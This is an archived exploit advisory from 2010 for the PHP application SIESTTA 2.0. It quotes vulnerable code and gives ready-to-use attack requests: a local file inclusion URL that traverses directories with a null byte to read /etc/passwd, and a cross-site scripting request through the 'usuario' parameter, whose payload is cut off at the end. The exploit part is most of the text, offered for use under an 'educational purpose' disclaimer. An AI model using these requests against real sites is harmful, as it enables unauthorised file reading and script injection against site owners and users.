SIESTTA 2.0 - Local File Inclusion Cross-Site Scripting

2010-04-16T00:00:00
ID EXPLOITPACK:05E09D493A9E4762407C2D400DA01C93
Type exploitpack
Reporter JosS
Modified 2010-04-16T00:00:00

Description

SIESTTA 2.0 - Local File Inclusion Cross-Site Scripting

                                        
                                            ####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://ramoncastro.es/siestta_old/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
####################################################################


- [#LFI] <login.php>

<?php

require('idioma/'.$idioma.'');
...
?>

!EXPLOIT: /login.php?idioma=/../../../../../../../../../../../etc/passwd%00

- [#XSS] <carga_foto_al.php>

<?
...
$usuario = $_GET['usuario'];
$imagen = 'admin/fotos_al/'.$usuario.'.jpg';
echo '<p style="text-align:center;">
<img class="foto" src="'.$imagen.'" alt="'.$usuario.'" /></p>
...
?>

!EXPLOIT: /carga_foto_al.php?usuario=